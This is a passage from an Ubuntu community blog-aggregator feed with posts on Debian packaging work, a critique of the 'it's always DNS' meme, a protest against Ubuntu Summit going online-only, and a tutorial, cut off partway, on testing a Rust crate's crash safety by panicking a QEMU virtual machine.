<li><a href="https://bugs.debian.org/1119914">base-passwd: French translation</a> (merged
  and&nbsp;uploaded)</li>
<li><a href="https://salsa.debian.org/installer-team/cdebconf/-/merge_requests/23">cdebconf: Consider using the standard dh sequence in
  d/rules</a>
  (merged and&nbsp;uploaded)</li>
<li><a href="https://bugs.debian.org/430151">cdebconf: Multiple select is not right aligned in
  Hebrew</a> (patch fails to build; asked
  reporter for an&nbsp;update)</li>
<li><a href="https://bugs.debian.org/1078936">cdebconf: Allow building without
  libglib2.0-dev</a> (merged and&nbsp;uploaded)</li>
<li><a href="https://bugs.debian.org/1121035">pydantic-core</a> (merged and&nbsp;uploaded)</li>
<li>pymongo (sponsored adoption by Aryan&nbsp;Karamtoth)</li>
<li><a href="https://salsa.debian.org/python-team/packages/maturin/-/merge_requests/1">python-maturin: Add missing build
  dependencies</a>
  (merged and&nbsp;uploaded)</li>
</ul>]]></description>
      <source url="https://www.chiark.greenend.org.uk/~cjwatson/blog/feeds/tag/planet-ubuntu.atom.xml">Colin Watson</source>
    </item>
    <item>
      <title>It's NOT always DNS.</title>
      <link>https://notes.pault.ag/its-not-always-dns/</link>
      <guid isPermaLink="true">https://notes.pault.ag/its-not-always-dns/</guid>
      <pubDate>Mon, 27 Oct 2025 17:15:00 GMT</pubDate>
      <description><![CDATA[<p>I&rsquo;ve written down a new rule (no name, sorry) that I&rsquo;ll be repeating to myself
and those around me. <strong>&ldquo;If you can replace &lsquo;DNS&rsquo; with &lsquo;key value store mapping
a name to an ip&rsquo; and it still makes sense, it was not, in fact, DNS.&rdquo;</strong> Feel
free to repeat it along with me.</p>
<p>Sure, the &ldquo;It&rsquo;s always DNS&rdquo; meme is funny the first few hundred times you see
it &ndash; but what&rsquo;s less funny is when critical thinking ends because a DNS query
is involved. DNS failures are often the first observable problem <em>because</em>
it&rsquo;s one of the first things that needs to be done. DNS is fairly complicated,
implementation-dependent, and at times &ndash; frustrating to debug &ndash; but it is not
the operational hazard it&rsquo;s made out to be. It&rsquo;s at best a shallow take, and at
worst actively holding teams back from understanding their true operational
risks.</p>
<p>IP connectivity failures between a host and the rest of the network is <em>not</em> a
reason to blame DNS. This would happen no matter how you distribute the updated
name to IP mappings. Wiping out
<a href="https://aws.amazon.com/message/101925/">all the records during the course of operations due to an automation bug</a>
is <em>not</em> a reason to blame DNS. This, too, would happen no matter how you
distribute the name to IP mappings. Something made the choice to delete all the
mappings, and <a href="https://web.archive.org/web/20251005205731/http://www.team.net/mjb/hawg.html">it did what you asked it to do</a></p>
<p>There&rsquo;s plenty of annoying DNS specific sharp edges to blame when things <em>do</em>
go wrong (like <code>8.8.8.8</code> and <code>1.1.1.1</code> disagreeing about resolving a domain
because of DNSSEC, or since we&rsquo;re on the topic, a
<a href="https://slack.engineering/what-happened-during-slacks-dnssec-rollout/">DNSSEC rollout bricking prod for hours</a>)
for us to be cracking jokes anytime a program makes a DNS request.</p>
<p>We can do better.</p>]]></description>
      <source url="http://notes.pault.ag/feeds/all-en.atom.xml">Paul Tagliamonte</source>
    </item>
    <item>
      <title>Why I Won’t Be Attending or Speaking at Ubuntu Summit 25.10</title>
      <link>https://ericheickmeyer.com/2025/10/09/why-i-wont-be-attending-or-speaking-at-ubuntu-summit-25-10/</link>
      <guid isPermaLink="true">https://ericheickmeyer.com/2025/10/09/why-i-wont-be-attending-or-speaking-at-ubuntu-summit-25-10/</guid>
      <pubDate>Thu, 09 Oct 2025 22:01:09 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">Ubuntu Summit&#8217;s decision to go exclusively online, with the exception of those speaking at the Summit in London, UK, is anti-collaborative and turns its back on the very people who make Ubuntu what it is: its community of volunteers and developers. Ubuntu Summit was created from the dust of the Ubuntu Developer Summit in 2022 to recognize the community. It no longer serves that purpose.</p>



<p class="wp-block-paragraph">As many know, I have been the lead of Ubuntu Studio for more than 7 years. I&#8217;m the longest-tenured Ubuntu Studio lead. I owe much of the foundation that was built to my predecessors: Luke Yelavich (founder), Scott Lavender, Kaj Ailomaa, and Set Halstrom. It is a true labor of love for me, and is the foundation for much of what I do.</p>



<p class="wp-block-paragraph">I have worked myself through the ranks of Ubuntu, becoming a small-time packager for a small set of Ubuntu packages, then the Ubuntu Studio packageset, moving up to MOTU (Master of the Universe). I also served on the Ubuntu Community Council and am a current Discourse moderator.</p>



<p class="wp-block-paragraph">Community and the love of people is a huge motivation for me. Granted, for those first four years, I hadn&#8217;t ever met the people I was collaborating with to make Ubuntu Studio what it is.</p>



<p class="wp-block-paragraph">Then in August 2022, I was invited to attend the first ever Ubuntu Summit 2022 in Prague, Czechia. Having never travelled abroad before and never having even been off the continent of North America, itself a challenge as getting a U.S. passport is neither cheap nor easy, I was reluctant at first. Then I managed to get my passport, as well as the funds and passports to bring my wife and son to Ubuntu Summit.</p>



<p class="wp-block-paragraph">That experience changed my life and the life of my entire family. My son, 10 at the time, was the youngest registered attendee. My wife was inspired to bring back Edubuntu, which had been defunct for nine long years by the time it was revived that following spring.</p>



<p class="wp-block-paragraph">These are the things that happen when you have personal connections with people. If you&#8217;ve never read the book before, I encourage you to read <em><a href="https://www.nurturingparenting.com/images/cmsfiles/hardwired_to_connect.pdf">Hardwired to Connect</a></em>, which is a research paper published by a bunch of scientists. In essence, it says that people&#8217;s brains are wired, from birth, to engage in communities in for personal, in-person connections. It&#8217;s a scientific study that took years and is an excellent introduction to why we are the way we are.</p>



<p class="wp-block-paragraph">Much of my education revolves around the very idea of building personal communities, which is one reason I was appalled when Ubuntu Summit, starting with 25.10, while it would be twice a year, it would be online-only except for the speakers. Having spoken at the past three, I was planning to take a year off from speaking, while still being there to represent as an Ubuntu Flavor Lead with my wife, also a now Flavor Lead.</p>



<p class="wp-block-paragraph">If it weren&#8217;t for that initial Ubuntu Summit, in person, my wife and son would not have been as interested or as involved as they are today. The subsequent years only strengthened that involvement. </p>



<p class="wp-block-paragraph">Now, it&#8217;s going to be an online-focused approach. I get it. It&#8217;s cheaper and easier. Also, those attending online were just watching a livestream anyhow. The Local Communities (LoCos) can get together on their own if they want to do a big event. It&#8217;s easier to reach more people if you do everything online.</p>



<p class="wp-block-paragraph"><strong><em>Except it&#8217;s not.</em></strong></p>



<p class="wp-block-paragraph">For instance, the nearest active LoCo to me, in the Seattle-Tacoma area, is the Southern California LoCo. Meetups with them are logistically impossible. Same if I were to go to the Arizona LoCo; it&#8217;s just not possible. Most of the states in the United States are huge, so if there were one LoCo per state, it wouldn&#8217;t be correct. To be honest, I have no desire, time, or energy left to start and lead a LoCo in my area. Besides that, there used to be one for my state, but it&#8217;s long gone.</p>



<p class="wp-block-paragraph">Furthermore, with the exception of me and my wife, us flavor leads are scattered to the globe. It used to be that we would meet online throughout the year every other month and then meet together once a year at Ubuntu Summit. That&#8217;s gone now.</p>



<p class="wp-block-paragraph">Again, I get it. Canonical is a company that is and always has been majority remote work. Except for one thing: they get together <strong>twice a year</strong> in-person, and are even given T-Shirts to celebrate the immediately-prior release <em>which was partially built by volunteers</em>. Those of us who give our time, energy, and effort to the Ubuntu community aren&#8217;t given that in-person experience, let alone a T-Shirt. The very lifeblood of what makes Ubuntu so great isn&#8217;t given the ability to meet in-person. That&#8217;s been stripped from us, and it came as a complete surprise.</p>



<p class="wp-block-paragraph">I&#8217;m not without ideas for solutions to problems, though. Rather than be completely destructive in this post, I can be constructive. My solution to this would be a compromise:</p>



<ul class="wp-block-list">
<li>Have the Summit be in-person once a year following the <code>yy.04</code> release
<ul class="wp-block-list">
<li>Have that one go back to being what it was. It can either have booths like 2024 did or go back to being talk/workshop-focused like years prior. It doesn&#8217;t matter, <strong>it just needs to be in-person</strong>.</li>
</ul>
</li>



<li>Have the Summit be online once a year following the <code>yy.10</code> release</li>
</ul>



<p class="wp-block-paragraph">I don&#8217;t think this is too much to ask. The reward of personal connections when doing something remote for most of the year is a small price to pay, no matter the cost. Personal connections are tantamount to a healthy community.</p>



<p class="wp-block-paragraph">I think my compromise would prevent the Summit from dying just like the Ubuntu Developer Summit did once it went online-only. The way I see it is with the current status-quo, history is repeating itself.</p>



<p class="wp-block-paragraph">I&#8217;m sure people at Canonical don&#8217;t see it this way because they meet with the people they work with the most twice a year. Those of us from the Ubuntu community that are developers aren&#8217;t given that luxury. We&#8217;re not even given that luxury once a year now. We&#8217;re not even given a T-Shirt!</p>



<p class="wp-block-paragraph">Am I angry? A little. Do I feel betrayed by the very community I have given so much to over the years? Absolutely. Either way, I believe an online-only Summit is anti-collaborative in that it removes personal connections from the equation, which goes against the very fiber of my being.</p>



<p class="wp-block-paragraph">Thank you for reading this, and I hope this reaches the people I&#8217;m trying to reach and have it speak for those who either won&#8217;t speak-up or don&#8217;t think they can make a difference.</p>]]></description>
      <source url="https://ericheickmeyer.com/category/planet-ubuntu/feed/">Erich Eickmeyer</source>
    </item>
    <item>
      <title>Testing crash recovery features in a CI environment</title>
      <link>https://andrea.corbellini.name/2025/09/09/testing-crash-recovery-features-in-ci/</link>
      <guid isPermaLink="true">https://andrea.corbellini.name/2025/09/09/testing-crash-recovery-features-in-ci/</guid>
      <pubDate>Tue, 09 Sep 2025 00:05:00 GMT</pubDate>
      <description><![CDATA[<p>About two years ago I wrote a Rust crate to fulfill this promise:</p>
<blockquote>
<p>If a crash occurs while updating a file, the file either contains the old
contents, or the new contents, nothing in between.</p>
</blockquote>
<p>This crate essentially solves the following problem: when you update a file,
generally you open it, truncate it, write to it block-by-block, and eventually
close it. The problem with this process is that if a crash occurs at any point
during this process (the program segfaults, the kernel panics, the machine
loses power, …), your file will be left in an intermediate state where the
old contents are completely lost, and the new contents are only partially
written (if at all). My crate solves this problem by making file updates <em>atomic</em>.</p>
<p>This crate is publicly available as <a href="https://crates.io/crates/atomic-write-file">atomic-write-file</a> and you can read its
description for more details (sorry, I’m very bad at naming things).</p>
<p>The way the crate works is simple:</p>
<ol>
<li>Instead of opening the <em>target</em> file directly, the crate opens a <em>temporary</em>
   file.</li>
<li>You write to the temporary file.</li>
<li>Once all changes are in, the temporary file contents are synced to the
   storage, and it is atomically renamed so that it replaces the target file.</li>
</ol>
<p>This is not by any chance a new technique that I invented, and it’s a very
common strategy to solve the problem. This technique guarantees that if a crash
occurs at or before step 3, then the file will have the old contents,
unchanged. If a crash occurs after step 3, then the file will have the new
contents.</p>
<p>There’s a small caveat with this technique: if a crash occurs between steps 1
and 3, then the crate will leave behind a temporary file that occupies some
space on the storage device with no purpose.</p>
<p>This is where Linux anonymous temporary files come into play: this
Linux-specific feature allows you to create temporary files that are written on
the filesystem, but are not given a path in the filesystem. If a crash occurs
between step 1 and 3, the temporary file will simply be forgotten into
oblivion.</p>
<h1 id="meet-the-opponent-btrfs">Meet the opponent: btrfs</h1>
<p>Using Linux anonymous temporary files seemed very appealing for
atomic-write-file to avoid leaving leftovers behind, although I knew that
they’re not the perfect solution: there’s limited support (they’re supported
only on Linux, and only on some filesystems), they require the use of Linux
features that may not be available all the time (the <code>/proc</code> filesystem), and
they also have the problem that, sooner or later, they will need to be given a
name if we want to be able to replace the target file, and this leaves a small
time window during which we could leave some cruft behind.</p>
<p>But none of these are huge problems, and in fact atomic-write-file is able to
do a best effort attempt at using anonymous temporary files, and reverting to
regular files if that doesn’t work.</p>
<p>One day I was notified about <a href="https://github.com/andreacorbellini/rust-atomic-write-file/issues/6">an issue on using my crate on the btrfs file
system</a>: after a crash, my crate could break its promise and leave the
file contents <strong>empty</strong>. I did some investigation on the issue that <a href="https://github.com/andreacorbellini/rust-atomic-write-file/issues/6#issuecomment-2048836275">you can
read about if you’re interested</a>, and then fixed it.</p>
<p>This problem was specific to btrfs, and I argue that it’s actually caused by a
btrfs bug, rather than a bug in the crate itself, but nonetheless this issue
had revealed a critical flaw of my crate: <strong>I did not have any tests to check
if my crate was fulfilling its promise or not!</strong></p>
<p>Therefore I decided to create a small test suite for Linux to simulate crashes
and inspect the contents of files after those crashes occurred on a variety of
filesystems, which is what this blog post is about. This test suite now runs on
my laptop and <a href="https://github.com/andreacorbellini/rust-atomic-write-file/actions/workflows/crash-tests.yml">on GitHub Actions</a>, and potentially any
other CI environment.</p>
<h1 id="testing-strategy">Testing strategy</h1>
<p>Here’s the idea I came up with: I can create a virtual machine, with a virtual
storage device attached to it, and a filesystem initialized with a file. The
virtual machine updates the file using atomic-write-file, and then triggers a
kernel panic. After that, the file is inspected for consistency.</p>
<p>So here is how it works in practice: there are 3 main pieces:
1. A test binary that is responsible for updating the test file using
   atomic-write-file.
1. An <code>init.sh</code> script that runs inside the virtual machine.
1. The <code>run-tests.sh</code> script that puts everything together and starts up the
   virtual machine.</p>
<h2 id="the-test-binary">The test binary</h2>
<p>The test binary that is a <a href="https://github.com/andreacorbellini/rust-atomic-write-file/blob/master/crash-tests/linux/src/main.rs">short Rust program</a> that I can paste here:</p>
<div class="highlight"><pre><span></span><code><span class="k">use</span><span class="w"> </span><span class="n">atomic_write_file</span><span class="p">::</span><span class="n">AtomicWriteFile</span><span class="p">;</span>
<span class="k">use</span><span class="w"> </span><span class="n">std</span><span class="p">::</span><span class="n">io</span><span class="p">::</span><span class="n">Write</span><span class="p">;</span>

<span class="k">fn</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">AtomicWriteFile</span><span class="p">::</span><span class="n">open</span><span class="p">(</span><span class="s">&quot;/test/file&quot;</span><span class="p">).</span><span class="n">expect</span><span class="p">(</span><span class="s">&quot;open failed&quot;</span><span class="p">);</span>
<span class="w">    </span><span class="n">file</span><span class="p">.</span><span class="n">write_all</span><span class="p">(</span><span class="s">b&quot;hello&quot;</span><span class="p">).</span><span class="n">expect</span><span class="p">(</span><span class="s">&quot;write failed&quot;</span><span class="p">);</span>
<span class="w">    </span><span class="n">file</span><span class="p">.</span><span class="n">commit</span><span class="p">().</span><span class="n">expect</span><span class="p">(</span><span class="s">&quot;commit failed&quot;</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>

<p>Nothing special to see here: this is the minimal code required to use atomic-write-file.</p>
<h2 id="the-initsh-script">The init.sh script</h2>
<p><a href="https://github.com/andreacorbellini/rust-atomic-write-file/blob/master/crash-tests/linux/init.sh">The <code>init.sh</code> script</a> is more interesting: this script in fact is meant to run
<em>twice</em>. The first time it runs, <code>init.sh</code> will run the test binary above and
trigger the kernel panic. The second time, it will read the test file contents
and report them back <code>run-tests.sh</code> script for inspection.</p>
<p>Let’s take a closer look at what it does: first, it mounts the <code>/proc</code> and
<code>/sys</code> virtual filesystems. These are needed for some basic system functions,
and also to enable the Linux anonymous temporary file feature.</p>
<div class="highlight"><pre><span></span><code>mount<span class="w"> </span>-t<span class="w"> </span>proc<span class="w"> </span>none<span class="w"> </span>/proc
mount<span class="w"> </span>-t<span class="w"> </span>sysfs<span class="w"> </span>none<span class="w"> </span>/sys
</code></pre></div>

<p>Then it mounts the filesystem containing the test file. Before it can do that,
however, it needs to load the correct kernel module for the filesystem. Nothing
too fancy here: the filesystem type is simply specified on the kernel command
line (read through <code>/proc/cmdline</code>):</p>
<div class="highlight"><pre><span></span><code><span class="nv">fstype</span><span class="o">=</span><span class="k">$(</span>grep<span class="w"> </span>-Eo<span class="w"> </span><span class="s1">&#39;test.fs=\w+&#39;</span><span class="w"> </span>/proc/cmdline<span class="w"> </span><span class="p">|</span><span class="w"> </span>cut<span class="w"> </span>-d<span class="o">=</span><span class="w"> </span>-f2<span class="k">)</span>
modprobe<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$fstype</span><span class="s2">&quot;</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="nb">true</span>
mount<span class="w"> </span>-t<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$fstype</span><span class="s2">&quot;</span><span class="w"> </span>/dev/sdb<span class="w"> </span>/test
</code></pre></div>

<p>Then, if this script is run for the first time, it will run the test executable and quit:</p>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="s1">&#39;Running test binary&#39;</span>
atomic-write-file-test
</code></pre></div>

<p><code>init.sh</code> (as the name suggests) is run as the init script of the virtual
machine. In Linux, if the init script quits without invoking the proper
shutdown sequence, the kernel will panic. So we don’t actually need to do
anything special to trigger a panic. I could have inserted a <code>echo c &gt;
/proc/sysrq-trigger</code> line to make it more explicit, but then I figured that
having that line wouldn’t be nice for people who want to test the script on
their system.</p>
<p>You might ask: how does <code>init.sh</code> know if it’s the first time it gets called or
the second? Again, nothing fancy here: <code>run-tests.sh</code> gives that hint using a
kernel command line argument:</p>
<div class="highlight"><pre><span></span><code><span class="k">if</span><span class="w"> </span>grep<span class="w"> </span>-q<span class="w"> </span>test.verify<span class="w"> </span>/proc/cmdline<span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w">  </span><span class="c1"># ...</span>
<span class="k">fi</span>
</code></pre></div>

<p>If <code>test.verify</code> is specified on <code>/proc/cmdline</code>, then it means this is the
second time this script is run. In that case, the file contents are just
printed on the console:</p>
<div class="highlight"><pre><span></span><code><span class="k">if</span><span class="w"> </span>grep<span class="w"> </span>-q<span class="w"> </span>test.verify<span class="w"> </span>/proc/cmdline<span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w">  </span><span class="nb">echo</span><span class="w"> </span><span class="s1">&#39;Verifying test file contents&#39;</span>
<span class="w">  </span><span class="nb">echo</span><span class="w"> </span><span class="s1">&#39;-----&#39;</span>
<span class="w">  </span>xxd<span class="w"> </span>/test/file
<span class="w">  </span><span class="nb">echo</span><span class="w"> </span><span class="s1">&#39;-----&#39;</span>
<span class="w">  </span>poweroff<span class="w"> </span>-f
<span class="k">fi</span>
</code></pre></div>

<p>This uses <code>xxd</code> so in case there are garbled characters on screen, we can
comfortably analyze the output and figure out what happened. At the end, the
system is more gracefully shut down using <code>poweroff</code> to avoid another kernel
panic (this is not really necessary).</p>
<h1 id="the-run-testssh-script">The run-tests.sh script</h1>
<p>And then there’s <a href="https://github.com/andreacorbellini/rust-atomic-write-file/blob/master/crash-tests/linux/run-test.sh">the <code>run-tests.sh</code> script that crates the virtual storage,
launches the virtual machine, and inspects the file contents</a>.
This is where most the complexity is, so let’s go step-by-step (the code below
has been simplified from the original for readability):</p>
<p>The first thing it does is compiling the test binary above. The virtual machine
runs in a very barebone environment, so I used static linking to avoid having
to copy additional libraries like <code>libc</code>:</p>
<div class="highlight"><pre><span></span><code><span class="nv">target</span><span class="o">=</span><span class="k">$(</span>uname<span class="w"> </span>-m<span class="k">)</span>-unknown-linux-gnu
<span class="nv">RUSTFLAGS</span><span class="o">=</span><span class="s1">&#39;-C target-feature=+crt-static&#39;</span><span class="w"> </span>cargo<span class="w"> </span>build<span class="w"> </span>--release<span class="w"> </span>--features<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$cargo_features</span><span class="s2">&quot;</span><span class="w"> </span>--target<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$target</span><span class="s2">&quot;</span>
</code></pre></div>

<p>Then <code>run-tests.sh</code> creates a minimal <a href="https://en.wikipedia.org/wiki/Initial_ramdisk">initramfs</a> for the virtual machine. The
initramfs is a filesystem that gets mounted by Linux early at boot. It’s
generally used by Linux distributions to load the main operating system, but in
my case the initramfs contains everything needed for the test. In particular,
it contains:</p>
<ul>
<li>The test binary.</li>
<li>The <code>init.sh</code> script.</li>
<li><a href="https://en.wikipedia.org/wiki/BusyBox">BusyBox</a>, to get the needed utilities like <code>xxd</code> and <code>poweroff</code>.</li>
<li>The kernel modules to mount filesystems and their dependencies.</li>
</ul>
<p>The first 3 items are easy to set up:</p>
<div class="highlight"><pre><span></span><code>cp<span class="w"> </span><span class="s2">&quot;init.sh&quot;</span><span class="w"> </span>-T<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$initramfs_build_dir</span><span class="s2">/sbin/init&quot;</span>
cp<span class="w"> </span><span class="s2">&quot;atomic-write-file-test&quot;</span><span class="w"> </span>-t<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$initramfs_build_dir</span><span class="s2">/bin&quot;</span>
cp<span class="w"> </span><span class="s2">&quot;</span><span class="k">$(</span>which<span class="w"> </span>busybox<span class="k">)</span><span class="s2">&quot;</span><span class="w"> </span>-t<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$initramfs_build_dir</span><span class="s2">/bin&quot;</span>
<span class="s2">&quot;</span><span class="nv">$busybox</span><span class="s2">&quot;</span><span class="w"> </span>--install<span class="w"> </span>-s<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$initramfs_build_dir</span><span class="s2">/bin&quot;</span>
</code></pre></div>

<p>The kernel modules are a bit more complicated. First of all: where can we get
them from? Ideally, I would have liked to download them from some minimal Linux
distribution, but this turned out to be more complicated than expected. In the
end, I decided to just steal them from the host operating system:</p>
<div class="highlight"><pre><span></span><code><span class="nv">modules</span><span class="o">=</span>/usr/lib/modules/<span class="k">$(</span>uname<span class="w"> </span>-r<span class="k">)</span>
cp<span class="w"> </span>-a<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$modules</span><span class="s2">&quot;</span><span class="w"> </span>-t<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$initramfs_build_dir</span><span class="s2">/lib/modules&quot;</span>

<span class="k">while</span><span class="w"> </span><span class="nb">read</span><span class="w"> </span>-r<span class="w"> </span>mod_path<span class="p">;</span><span class="w"> </span><span class="k">do</span>
<span class="w">  </span><span class="k">if</span><span class="w"> </span><span class="o">[[</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">&quot;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>*.ko.gz<span class="w"> </span><span class="o">]]</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w">    </span>gunzip<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">&quot;</span><span class="w"> </span>-o<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">.uncompressed&quot;</span>
<span class="w">  </span><span class="k">elif</span><span class="w"> </span><span class="o">[[</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">&quot;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>*.ko.xz<span class="w"> </span><span class="o">]]</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w">    </span>unxz<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">&quot;</span><span class="w"> </span>-o<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">.uncompressed&quot;</span>
<span class="w">  </span><span class="k">elif</span><span class="w"> </span><span class="o">[[</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">&quot;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>*.ko.zst<span class="w"> </span><span class="o">]]</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w">    </span>unzstd<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">&quot;</span><span class="w"> </span>-o<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">.uncompressed&quot;</span>
<span class="w">  </span><span class="k">else</span>
<span class="w">    </span><span class="k">continue</span>
<span class="w">  </span><span class="k">fi</span>
<span class="w">  </span>mv<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">.uncompressed&quot;</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$mod_path</span><span class="s2">&quot;</span>
<span class="k">done</span><span class="w"> </span>&lt;<span class="w"> </span>&lt;<span class="o">(</span>modprobe<span class="w"> </span>--dirname<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$initramfs_build_dir</span><span class="s2">&quot;</span><span class="w"> </span>--show-depends<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$filesystem_type</span><span class="s2">&quot;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>^insmod<span class="w"> </span><span class="p">|</span><span class="w"> </span>cut<span class="w"> </span>-d<span class="s1">&#39; &#39;</span><span class="w"> </span>-f2<span class="o">)</span>
</code></pre></div>

<p>What this does is copying all the module files from the host, getting all the
dependencies for the filesystem module using <code>modprobe</code>, and then uncompressing
those modules if they’re compressed (I found this much easier than adding
compression support in the virtual machine). An alternative approach would be
to simply decompress all the modules, but that’s much slower.</p>
<p>Once everything has been copied over and uncompressed, the initramfs is
created:</p>
<div class="highlight"><pre><span></span><code><span class="nv">initramfs</span><span class="o">=</span>rootfs.img
mksquashfs<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$initramfs_build_dir</span><span class="s2">&quot;</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$initramfs</span><span class="s2">&quot;</span>
</code></pre></div>

<p>Now it’s time to create the virtual storage device with the filesystem, which
is a trivial task:</p>
<div class="highlight"><pre><span></span><code><span class="nv">testfs</span><span class="o">=</span>testfs.img
dd<span class="w"> </span><span class="k">if</span><span class="o">=</span>/dev/zero<span class="w"> </span><span class="nv">of</span><span class="o">=</span><span class="s2">&quot;</span><span class="nv">$testfs</span><span class="s2">&quot;</span><span class="w"> </span><span class="nv">bs</span><span class="o">=</span>1M<span class="w"> </span><span class="nv">count</span><span class="o">=</span><span class="m">300</span>
<span class="s2">&quot;mkfs.</span><span class="nv">$filesystem_type</span><span class="s2">&quot;</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$testfs</span><span class="s2">&quot;</span>
</code></pre></div>

<p>Finally, we can start our VM using <a href="https://en.wikipedia.org/wiki/QEMU">QEMU</a>:</p>
<div class="highlight"><pre><span></span><code><span class="nv">qemu</span><span class="o">=</span>qemu-system-<span class="k">$(</span>uname<span class="w"> </span>-m<span class="k">)</span>
<span class="nv">kernel</span><span class="o">=</span>/boot/vmlinuz-<span class="k">$(</span>uname<span class="w"> </span>-r<span class="k">)</span>

<span class="s2">&quot;</span><span class="nv">$qemu</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-kernel<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$kernel</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-append<span class="w"> </span><span class="s2">&quot;root=/dev/sda ro panic=-1 console=ttyS0 quiet test.fs=</span><span class="nv">$filesystem_type</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-drive<span class="w"> </span><span class="s2">&quot;index=0,media=disk,format=raw,file=</span><span class="nv">$initramfs</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-drive<span class="w"> </span><span class="s2">&quot;index=1,media=disk,format=raw,file=</span><span class="nv">$testfs</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-no-reboot<span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-nographic
</code></pre></div>

<p>Again we’re stealing the kernel from the host operating system, which is also
where the kernel modules come from. The <code>drive</code> with <code>index=0</code> is the initramfs
and will be visible as <code>/dev/sda</code> in the guest; the other drive with <code>index=1</code>
is our test storage and will be visible as <code>/dev/sdb</code>.</p>
<p><code>root=/dev/sda</code> tells the kernel to boot from our initramfs image. <code>panic=-1</code>
tells the kernel not to reboot in case of a panic (<code>panic=N</code> specifies the
number of seconds to wait before rebooting in case of kernel panic; specifying
a negative value blocks that behavior). <code>console=ttyS0</code> allows us to capture
the output printed by the init script. <code>test.fs=...</code> is the option that
<code>init.sh</code> is going to look for to understand what filesystem type to use.</p>
<p>Once that runs, the virtual machine is expected to do its job and crash with a
kernel panic. We then need to restart it to verify the file contents. The QEMU
command is exactly the same except for the additional <code>test.verify</code> option:</p>
<div class="highlight"><pre><span></span><code><span class="nv">output</span><span class="o">=</span>output.txt

<span class="s2">&quot;</span><span class="nv">$qemu</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-kernel<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$kernel</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-append<span class="w"> </span><span class="s2">&quot;root=/dev/sda ro panic=-1 console=ttyS0 quiet test.fs=</span><span class="nv">$filesystem_type</span><span class="s2"> test.verify&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-drive<span class="w"> </span><span class="s2">&quot;index=0,media=disk,format=raw,file=</span><span class="nv">$initramfs</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-drive<span class="w"> </span><span class="s2">&quot;index=1,media=disk,format=raw,file=</span><span class="nv">$testfs</span><span class="s2">&quot;</span><span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-no-reboot<span class="w"> </span><span class="se">\</span>
<span class="w">  </span>-nographic<span class="w"> </span><span class="se">\</span>
<span class="w">  </span><span class="p">|</span><span class="w"> </span>tee<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$output</span><span class="s2">&quot;</span>
</code></pre></div>

<p>The output from this command is captured in a file that can be analyzed. If you
remember how <code>init.sh</code> is written, you might have noticed that it writes the
test file contents between two markers:</p>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="s1">&#39;-----&#39;</span>
xxd<span class="w"> </span>/test/file
<span class="nb">echo</span><span class="w"> </span><span class="s1">&#39;-----&#39;</span>
</code></pre></div>

<p>So what we have to do to verify the contents of the file is simply look for
those two <code>-----</code> markers, get the content in between, and parse it through
<code>xxd -r</code>:</p>
